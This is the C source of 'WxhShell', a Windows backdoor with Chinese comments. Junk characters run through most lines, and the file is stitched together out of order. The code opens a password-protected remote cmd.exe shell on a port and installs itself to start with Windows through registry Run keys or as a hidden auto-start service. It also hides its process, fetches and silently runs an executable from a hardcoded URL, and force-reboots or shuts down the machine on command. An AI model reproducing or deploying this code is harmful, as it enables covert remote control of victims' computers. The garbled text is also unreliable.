    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qiKtR  
    if(Boot(SHUTDOWN)) E=1/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L%s4snE  
    else { ! ^*;c#  
    closesocket(wsh); #L4Kwy  
    ExitThread(0); g 2 { ?EP  
    } k89gJ5B$  
    break; Ye=7Y57Nr  
    } = a.n`3`Q  
  // 获取shell =3v 1]7 X  
  case 's': { W$MEbf%1  
    CmdShell(wsh); dG~B3xg;5i  
    closesocket(wsh); :qSi>KCGh  
    ExitThread(0); d7K17KiC  
    break; d>"$^${  
  } s8_NN  
  // 退出 Oi%~8J>  
  case 'x': { ,Qi|g'a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qT>& v_<  
    CloseIt(wsh); R EH&kcn  
    break; 2hA66ar{$  
    } ~S=fMv^BR  
  // 离开 KjfKo;T  
  case 'q': { wZ3 vF)2s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); L"du"-  
    closesocket(wsh); &{4Mo,x  
    WSACleanup(); er7/BE&  
    exit(1); ;7`um  
    break; KsU&<eQ  
        } iN/!k.ybW}  
  } dpn&)?f  
  } eKFc W5O  
)E~\H+FP6  
  // 提示信息 X-r,>o:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mhkAI@)>  
} E4aCGg  
  } lGHu@(n<  
@P5@ &G  
  return; 3) Awj++  
} +ET  
. .je<   
// shell模块句柄 W]Tt8  
int CmdShell(SOCKET sock) Q;,3W+(  
{ #~-&&S4a.J  
STARTUPINFO si; }xlmsOHuI  
ZeroMemory(&si,sizeof(si)); J8?6G&0H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n zrCOMld  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Csm!\ I  
PROCESS_INFORMATION ProcessInfo; z,x"vK(  
char cmdline[]="cmd"; xI\s9_"Qy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s=Q*|  
  return 0; yy.:0:ema  
} `ur9KP4Dq  
s /q5o@b{  
// 自身启动模式 w:xKgng=L  
int StartFromService(void) Y@S6m@.$  
{ v]SE?xF{U  
typedef struct j/mp.'P1k  
{ J9c3d~YW  
  DWORD ExitStatus; ko>O ~@r  
  DWORD PebBaseAddress; @,`=~_J  
  DWORD AffinityMask; m`q> _*  
  DWORD BasePriority; RW^v{'o  
  ULONG UniqueProcessId; I>o; %}  
  ULONG InheritedFromUniqueProcessId; 'J0s%m|j  
}   PROCESS_BASIC_INFORMATION; 3Wxtxk._E  
aDv/kFfn  
PROCNTQSIP NtQueryInformationProcess; |&'] ms5J  
t% B!\]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Xq!tXJ)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D\*_ulc]  
IX?%H!i  
  HANDLE             hProcess; <FT\u{9$  
  PROCESS_BASIC_INFORMATION pbi; FtDA k?  
>:E-^t%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nJH%pBc  
  if(NULL == hInst ) return 0; rh&Eu qE%  
ByvqwJY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Nb^:_0&H@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )K3 vzX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); TN aff  
lG#&1  
  if (!NtQueryInformationProcess) return 0; Cfb-:e$0  
pAmI ](  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V46[whL%r  
  if(!hProcess) return 0; DC7}Xly(  
BF|FW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T-i]O*u  
Vho0f<`E  
  CloseHandle(hProcess); ulo7d1OVkJ  
G{=$/&St  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); { F8,^+b|  
if(hProcess==NULL) return 0; IOqyqt'  
K): sq{  
HMODULE hMod; 3h4"Rv=,  
char procName[255]; }"H900WE|  
unsigned long cbNeeded; 9GaER+d|  
j=>G fo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Vs"Q-?  
ur7a%NH  
  CloseHandle(hProcess); )E2Lf ]  
K L~sEli  
if(strstr(procName,"services")) return 1; // 以服务启动 !,uw./8@Ku  
nz l,y,  
  return 0; // 注册表启动 JdEb_c3S  
} XX6)(  
x^BBK'  
// 主模块 I!'(>VlP7  
int StartWxhshell(LPSTR lpCmdLine) [~S0b  
{ IxR:a(  
  SOCKET wsl; [' 1?'*  
BOOL val=TRUE; _nq n|  
  int port=0; U6PUt'Kk@  
  struct sockaddr_in door; DR8dJ#  
YO+d+5  
  if(wscfg.ws_autoins) Install(); QLl44*@  
qChPT:a  
port=atoi(lpCmdLine); b1!%xdy_T  
A79SAheX#  
if(port<=0) port=wscfg.ws_port; O0RQ}~$'m  
WLH2B1_):  
  WSADATA data; 7?s>u937  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c7_b^7h1  
7\lc aC@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m e" <+6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); St<\qC  
  door.sin_family = AF_INET; NunT2JP.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Dl6zl6q?  
  door.sin_port = htons(port); %## bg<  
2e &Zs%u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d"a`?+(Q  
closesocket(wsl); V,}cDT>  
return 1; $2 0*&4y^  
} 0)#I5tEre  
6 ?cV1:jh  
  if(listen(wsl,2) == INVALID_SOCKET) { @*dA<N.9  
closesocket(wsl); >n/QKFvV5  
return 1; ( ;q$cKy  
} ezeGw?/  
  Wxhshell(wsl); xhv)rhu@  
  WSACleanup(); {S c1!2q  
klKt^h-  
return 0; -xXM/3g1u  
;2^=#7I?  
} MwZ`NH|n3"  
^`$KN0PY  
// 以NT服务方式启动 mz''-1YY$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >:Ec   
{ $xqphhBg  
DWORD   status = 0; l6RJour  
  DWORD   specificError = 0xfffffff; &E~7ty'  
3ul  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mtp[]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g6S8@b))|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mGX;JOjZ  
  serviceStatus.dwWin32ExitCode     = 0; cuHs`{u@P  
  serviceStatus.dwServiceSpecificExitCode = 0; I]h+24_S  
  serviceStatus.dwCheckPoint       = 0; Q"\[ICu!,  
  serviceStatus.dwWaitHint       = 0; 'RhMzPmY>  
v^pE= f*/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9r!%PjNvE  
  if (hServiceStatusHandle==0) return; ,}[,]-nVx  
{.sF&(e   
status = GetLastError(); \J6T:jeS,  
  if (status!=NO_ERROR) Jyn>:Yq(  
{ p?%G|Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; YVzK$k'3U  
    serviceStatus.dwCheckPoint       = 0; xH0Bk<`V:  
    serviceStatus.dwWaitHint       = 0; RNPqW,B!0  
    serviceStatus.dwWin32ExitCode     = status; V9+7A  
    serviceStatus.dwServiceSpecificExitCode = specificError; jtA Yp3M-$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mu*wX'.'  
    return; 9yQ[*  
  } *`\>J.  
 ,}bC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /dCZoz~~T  
  serviceStatus.dwCheckPoint       = 0; Tf+B<B:  
  serviceStatus.dwWaitHint       = 0; OUD<+i,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D[<8(~VP  
} :Y"f .>  
p%n}a%%I  
// 处理NT服务事件,比如:启动、停止 fO9e ;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) % Dya-  
{ k38Ds_sW6d  
switch(fdwControl) QjPcfR\  
{ S\Q/ "Y  
case SERVICE_CONTROL_STOP: hhwV)Z  
  serviceStatus.dwWin32ExitCode = 0; XI pXP,Yy  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f9!wO';P6  
  serviceStatus.dwCheckPoint   = 0; |d8/ZD  
  serviceStatus.dwWaitHint     = 0; xl s_g/Q  
  { 7Rq;V=2YV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )t =Cj?5  
  } ^>[Z~G($  
  return; ^oj)#(3C  
case SERVICE_CONTROL_PAUSE: <V9L AWeS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .aF+>#V=Q  
  break; d!8`}L:=M  
case SERVICE_CONTROL_CONTINUE: .0nL; o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7kHEY5s "  
  break; dqnxhN+&  
case SERVICE_CONTROL_INTERROGATE: C";F's)  
  break; [CJ&Yz Ji  
}; T0v;8E e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w R1M_&-s  
} [|e7oNT(Q  
m@)K]0g<f  
// 标准应用程序主函数 kpcIU7|e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !|hv49!H  
{ eQNo'cz  
In5' (UHW:  
// 获取操作系统版本 8I3"68c_a  
OsIsNt=GetOsVer(); J)6f"{} &  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "^yTH/m  
| x/,  
  // 从命令行安装 0 @~[SXR  
  if(strpbrk(lpCmdLine,"iI")) Install(); pl%3RVpoc  
EJ"[{AV  
  // 下载执行文件 L@XhgQ  
if(wscfg.ws_downexe) { (@>X!]{$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ng^`s}?o  
  WinExec(wscfg.ws_filenam,SW_HIDE); " 8>*O;xk  
} 5Z,^4 6J  
/w$<0hH#'8  
if(!OsIsNt) { }hv>LL  
// 如果时win9x,隐藏进程并且设置为注册表启动 e}D#vPaSY  
HideProc(); 9;NR   
StartWxhshell(lpCmdLine); _py%L+&{  
} L]I)E` s  
else f =B)jYI  
  if(StartFromService()) FT!|YJz<K  
  // 以服务方式启动 LcI,Dy|P  
  StartServiceCtrlDispatcher(DispatchTable); :D`ghXj  
else AtGk _tpVZ  
  // 普通方式启动 HeCQF=R  
  StartWxhshell(lpCmdLine); sFqZ@t}~  
9X/c%:)\=  
return 0; hlWTsi4N  
} `D6Bw=7  
^&>(_I\w.6  
n(\5Z&  
*W~+Nho.A  
=========================================== ZaBGkDX5  
~&8ag`  
fH-V!QYGF  
Wt*&_+ae  
dcew`$SJp  
&W)Lzpx8c  
" ) ,1MR=  
x>THyY[sq  
#include <stdio.h> `VM@-;@w  
#include <string.h> BuII|j  
#include <windows.h> jr29+>  
#include <winsock2.h> Ju4={^#  
#include <winsvc.h> SO^:6GuJ  
#include <urlmon.h> M}MXR=X,  
ZbD_AP  
#pragma comment (lib, "Ws2_32.lib") ~vgm; O  
#pragma comment (lib, "urlmon.lib") dP}=cZ~  
bR"hl? &c  
#define MAX_USER   100 // 最大客户端连接数 {fW(e?8)  
#define BUF_SOCK   200 // sock buffer xFvDKW)_X7  
#define KEY_BUFF   255 // 输入 buffer !c,=%4Pb  
J-yj&2  
#define REBOOT     0   // 重启 5RD\XgyN]  
#define SHUTDOWN   1   // 关机 c~bi ~ f  
)D?\ru H  
#define DEF_PORT   5000 // 监听端口 'S]7:/CI  
|>(d^<nR^v  
#define REG_LEN     16   // 注册表键长度 #Ux*":  
#define SVC_LEN     80   // NT服务名长度 DA;,)A&=Q  
rjqQWfShY  
// 从dll定义API 0]%0wbY1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HF>Gf2- C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PEqO<a1Z8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j}}:&>;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M5DQ{d<r  
=8FV&|fP  
// wxhshell配置信息 } m5AO4:  
struct WSCFG { KZ_d..l*W  
  int ws_port;         // 监听端口 )*< =:  
  char ws_passstr[REG_LEN]; // 口令 s"1:#.u  
  int ws_autoins;       // 安装标记, 1=yes 0=no BLc&q)  
  char ws_regname[REG_LEN]; // 注册表键名 Fqtgw8  
  char ws_svcname[REG_LEN]; // 服务名 G)qNu}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @  s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f5)4H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wPhN_XV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9OIX5$,S;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tnx)_f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  XL@Y!  
f"^G\  
}; ?_Sf  
_Ju@<V$  
// default Wxhshell configuration Vs>/q:I  
struct WSCFG wscfg={DEF_PORT, }jj@A !N  
    "xuhuanlingzhe", 45cMG~]p  
    1, I%dFVt@  
    "Wxhshell", &zVF!xNy&  
    "Wxhshell", e;LJdd  
            "WxhShell Service", wSrq?U5q  
    "Wrsky Windows CmdShell Service", A0L&p(i  
    "Please Input Your Password: ", Z#8O)GK  
  1, Rg/*)SKj  
  "http://www.wrsky.com/wxhshell.exe", <28L\pdG`  
  "Wxhshell.exe" kbij Zj{  
    }; P38D-fLq  
Q/e$Ttt4J  
// 消息定义模块 Bq}p]R3X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; BIx Z4Ft  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iUcDj:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YXD6GJWo  
char *msg_ws_ext="\n\rExit."; wd4wYk\  
char *msg_ws_end="\n\rQuit."; eK }AVz}k  
char *msg_ws_boot="\n\rReboot..."; $6p_`LD0  
char *msg_ws_poff="\n\rShutdown..."; @S3G>i  
char *msg_ws_down="\n\rSave to "; D@[Mk"f  
C %l!"s^  
char *msg_ws_err="\n\rErr!"; y  @&Cn  
char *msg_ws_ok="\n\rOK!"; Z,'#=K  
9Q 4m9}  
char ExeFile[MAX_PATH]; 8FY.u{93  
int nUser = 0; eQBR*@x  
HANDLE handles[MAX_USER]; aL63=y  
int OsIsNt; }P[x Z_S1  
I`%\ "bF@  
SERVICE_STATUS       serviceStatus; ;F)g r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5<-_"/_  
[<~1.L^I  
// 函数声明 JX_hLy@`  
int Install(void); =*Z=My}3~  
int Uninstall(void); PCl@Ff  
int DownloadFile(char *sURL, SOCKET wsh); hdB.u^!  
int Boot(int flag); L%,tc~)A  
void HideProc(void); klC;fm2C  
int GetOsVer(void); r3a$n$Qw  
int Wxhshell(SOCKET wsl); =3rPE"@,[  
void TalkWithClient(void *cs); 2#z6=M~A  
int CmdShell(SOCKET sock); b2OVg +3  
int StartFromService(void); pDr%uL  
int StartWxhshell(LPSTR lpCmdLine); _is<.&f6  
nZ?BC O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^4@~\#$z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >*ey 7g  
"bFt+N  
// 数据结构和表定义 -uZ bVd  
SERVICE_TABLE_ENTRY DispatchTable[] = / d S!  
{ 8y;W+I(71  
{wscfg.ws_svcname, NTServiceMain}, G #.(% ,  
{NULL, NULL} b&.j>=  
}; C2GF N1i  
H\A!oB,sw  
// 自我安装 wT?.Mte  
int Install(void) @fR^":.h  
{ / H+br_D9  
  char svExeFile[MAX_PATH]; @DgJxY|  
  HKEY key; /60 `"xH  
  strcpy(svExeFile,ExeFile); D`]Lm24_]  
V$u~}]z  
// 如果是win9x系统,修改注册表设为自启动 O_8ERxj g]  
if(!OsIsNt) { jbQ2G|:Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k 8^!5n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T1bPI/  
  RegCloseKey(key); .uzg2Kd_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <VD^f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t59" [kQ  
  RegCloseKey(key); 4`@]jm  
  return 0; WN9 <  
    } 2 g"_ *[  
  } 4HlOv % 8  
} *z4n2"<l  
else { 7sECbbJT  
yoTbIQ  
// 如果是NT以上系统,安装为系统服务 dj*%^cI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =T5vu~[J/e  
if (schSCManager!=0) BCB"& :}  
{ p2}$S@GD  
  SC_HANDLE schService = CreateService hNB;29r~  
  ( >T{9-_#P  
  schSCManager, kzr9-$eb  
  wscfg.ws_svcname, )t={+^Xe  
  wscfg.ws_svcdisp, V x1C4  
  SERVICE_ALL_ACCESS, FH}n]T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Hno@  
  SERVICE_AUTO_START, _F xq  
  SERVICE_ERROR_NORMAL, GutH}Kz"&  
  svExeFile, pc&/'zb  
  NULL, P\;lH"9  
  NULL, xdp!'1n."g  
  NULL, XOzPi*V**  
  NULL, B1m@  
  NULL k:PO"<-U  
  ); zR h1  
  if (schService!=0) (:E_m|00;  
  { #6'oor X  
  CloseServiceHandle(schService); XG ]yfux`  
  CloseServiceHandle(schSCManager); 4xhV +Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gWA)V*}f  
  strcat(svExeFile,wscfg.ws_svcname); ;[WW,,!Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  fI[tU(x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aWek<Y~+  
  RegCloseKey(key); b!SGQv(^M  
  return 0; t ),~w,7(J  
    }  Z_F:H@-&  
  } ,eOOV@3C  
  CloseServiceHandle(schSCManager); S$\l M<M  
} 8lI#D)}  
} Rct|"k_"Ys  
S%uH*&`  
return 1; qc~6F'?R  
} l5Z=aW Q  
xksQMS2#  
// 自我卸载 AuUT 'E@E  
int Uninstall(void) _1hc^j  
{ WK0?$[|=r  
  HKEY key; %]nY v#K  
OGg9e  
if(!OsIsNt) { 2H;&E1:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7!w@u6Q  
  RegDeleteValue(key,wscfg.ws_regname); Gnp,~F"  
  RegCloseKey(key); pSkP8'  ?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "5%G [MB  
  RegDeleteValue(key,wscfg.ws_regname); Tk $rwTCl  
  RegCloseKey(key); |xQG  
  return 0; p.TR1BHw  
  } >T;"bc b  
} u$[ '}z0:  
} m'Z233Nt"  
else { cy*Td7)/  
Bk a\0+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X<\^*{  
if (schSCManager!=0) r!V#@Md  
{ Smo^/K`f9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]8ua>1XS  
  if (schService!=0) -'BJhi\Y]~  
  { suj? e6  
  if(DeleteService(schService)!=0) { 15VOQE5Fl`  
  CloseServiceHandle(schService); <%hSBDG!x  
  CloseServiceHandle(schSCManager); 9X,dV7 yW  
  return 0; _7~O>.  
  } (S0MqX*  
  CloseServiceHandle(schService); R!W!8rr3  
  } . l RW  
  CloseServiceHandle(schSCManager); Qc\JUm]  
} :y!e6  
} =+~e44!~D  
,d)!&y  
return 1; P[n` X  
} AR`X2m '  
Zw| IY9D  
// 从指定url下载文件 '?E^\\"*  
int DownloadFile(char *sURL, SOCKET wsh) go m< V?$  
{ *6e`km  
  HRESULT hr; 9b@L^]Kg  
char seps[]= "/"; pM@|P,w {  
char *token; Kw3fpNd  
char *file; ^ox^gw)  
char myURL[MAX_PATH]; ve.iyr  
char myFILE[MAX_PATH]; P1vr}J  
8js5/G+  
strcpy(myURL,sURL); CCDoiTu!4  
  token=strtok(myURL,seps); 3uwu}aw  
  while(token!=NULL) J|sX{/WT  
  { )@Z J3l.  
    file=token; Nb>|9nu O  
  token=strtok(NULL,seps); LU_@8i:  
  } ZO2u[HSO>  
)pjd*+V  
GetCurrentDirectory(MAX_PATH,myFILE); $^.LZ1Jd  
strcat(myFILE, "\\"); 3%/]y=rA  
strcat(myFILE, file); F:%= u =  
  send(wsh,myFILE,strlen(myFILE),0); 30*^ERO  
send(wsh,"...",3,0); F8;M++  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W8,XSUl  
  if(hr==S_OK) 4;M  
return 0; }9R45h}{<  
else #] vq <Y  
return 1; IPbdX@FeV  
GxLoNVr  
} Z@nM\/vLA  
V5i_\A  
// 系统电源模块 #E2`KGCzW  
int Boot(int flag) _{8f^@I"+  
{ vz) A~"E  
  HANDLE hToken; aa_&WHXkt  
  TOKEN_PRIVILEGES tkp; W:aAe%S  
I}p uN!  
  if(OsIsNt) { ;wbQTp2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !w[<?+%%n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rwtSn?0z"  
    tkp.PrivilegeCount = 1; l#7,<@)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gT<E4$I69  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xp7,0'(;  
if(flag==REBOOT) { P0Ds7xh]h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?|%^'(U}  
  return 0; /1h`O@VA  
} 8d-; ;V  
else { Y6`9:97  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yH|ucN~k5S  
  return 0; Z9i,#/  
} .lb2`!'r&  
  } wHBkaPO!  
  else { '# "Z$  
if(flag==REBOOT) { Y` LZ/Tgk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "}\2zub9  
  return 0; }yLdU|'W  
} Vvm6T@b M8  
else { R# 8D}5[&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $9y]>R  
  return 0; dg4"4\c*P  
} q5BJsw  
} 8!TbJVR  
,4NvD2Y  
return 1; DOkEWqM!  
} x1/Usupi  
L(PJ9wjkD  
// win9x进程隐藏模块 B+jT|Y'  
void HideProc(void) lBR6O!sBP  
{ O!d^v9hM,  
L-Xd3RCD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); st{:] yTRk  
  if ( hKernel != NULL ) -v&Q 'a  
  { N ]}Re$5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J6hWcA6 g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MQQiQ 2  
    FreeLibrary(hKernel); vn .wM  
  } bC$n+G>6k  
C0 .Xp  
return; kX'1.<[  
} [^"e~  
|QAmN> 7U  
// 获取操作系统版本 9=rYzA?)+  
int GetOsVer(void) oFoG+H"&7\  
{ (^qcX;-  
  OSVERSIONINFO winfo; ]}ff*W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sG}}a}U1  
  GetVersionEx(&winfo); xE9^4-Px*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bLCrh(<  
  return 1; =WyAOgy}  
  else qI<*Cze  
  return 0; U(3LeS;mr  
} i2N*3X~  
2}[rc%tV:?  
// 客户端句柄模块 @`%.\_  
int Wxhshell(SOCKET wsl) /P^@dL  
{ Bpo~x2p  
  SOCKET wsh; %- %/3  
  struct sockaddr_in client; 4d!&.Qo9  
  DWORD myID; QdUl-(  
vIN6W   
  while(nUser<MAX_USER) RZOk.~[v  
{ g\rujxHlH  
  int nSize=sizeof(client); b2U[W#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); TCmWn$LeE  
  if(wsh==INVALID_SOCKET) return 1; ~`*:E'/5k]  
#xYkG5`lm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9tl Fbu  
if(handles[nUser]==0) 1?7QS\`)fB  
  closesocket(wsh); #g~~zwx/N  
else =\CbX  
  nUser++; %m+Z rH(  
  } A javV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ; wW6x  
o|^0DYb  
  return 0; q69a-5q  
} ? 1Z\=s  
o }Tv^>L  
// 关闭 socket 1;? L:A  
void CloseIt(SOCKET wsh) 7:bqh$3!s  
{ EnwiE  
closesocket(wsh); w\$b(HC  
nUser--; 8P5xRUkV  
ExitThread(0); QfcW  
} $PrzJc  
<408lm  
// 客户端请求句柄 jVfC4M7 ,  
void TalkWithClient(void *cs) Qf=%%5+?8  
{ e m>CSBx  
b#82G`6r  
  SOCKET wsh=(SOCKET)cs; ?W.Y x7c  
  char pwd[SVC_LEN]; WY*}|R2R  
  char cmd[KEY_BUFF]; BOh&Db*  
char chr[1]; QL|Vke:N4  
int i,j; hrS/3c'<Z  
8d Ftp3(  
  while (nUser < MAX_USER) { |d{(&s}  
T}u'  
if(wscfg.ws_passstr) { }$$b6G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6g7 X1C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3hb1^HNT  
  //ZeroMemory(pwd,KEY_BUFF); <A!v'Y  
      i=0; PcJ,Y\"[  
  while(i<SVC_LEN) { iPI6 _h  
]<{BDXIGIE  
  // 设置超时 J6&;pCAi  
  fd_set FdRead; \{abyi;  
  struct timeval TimeOut; 7GE.>h5  
  FD_ZERO(&FdRead); ~ ]o .Mv a  
  FD_SET(wsh,&FdRead); whxE[Xnv  
  TimeOut.tv_sec=8; ~Kt.%K5lgt  
  TimeOut.tv_usec=0; 1*(^<x+n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J[]YG+r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ql#:Rx>b  
?hsOhUs(5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); epz2d~;  
  pwd=chr[0]; !`Bb[BTf  
  if(chr[0]==0xd || chr[0]==0xa) { }1Q]C"hY  
  pwd=0; fWF\ V[  
  break; (hdP(U77  
  } [o\O^d  
  i++; uFG]8pj2V1  
    } PNc^)|4^Q  
O`~T:N|D  
  // 如果是非法用户,关闭 socket ?%B%[u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H@5:x8  
} ; l+3l ez  
Rq9v+Xq2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `<C)oF\~f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZuILDevMD  
3`Y  
while(1) { MQw{^6Z>1  
4AzS~5S  
  ZeroMemory(cmd,KEY_BUFF); sf7'8+wj>  
w6v P a  
      // 自动支持客户端 telnet标准   cm]8m_!  
  j=0; cYmMO[4YG'  
  while(j<KEY_BUFF) { l 0jjLqm:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @kRe0:t  
  cmd[j]=chr[0]; O0';j!?X  
  if(chr[0]==0xa || chr[0]==0xd) { &*/8Ojv)9  
  cmd[j]=0; N>'1<i?  
  break; ??ah  
  } 9<}d98  
  j++; Quc9lL  
    } ={YW*1Xw  
K zKHC  
  // 下载文件 UYD(++  
  if(strstr(cmd,"http://")) { &ZClv"6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <Y9((QSM4  
  if(DownloadFile(cmd,wsh)) <0 k(d:H-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v/}M _E  
  else +#A >[,U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OjJKloy'  
  } 8s6[?=nM  
  else { tB8XnO_c  
w91{''sK  
    switch(cmd[0]) { t8E'd :pE  
  n!~{4 uUW  
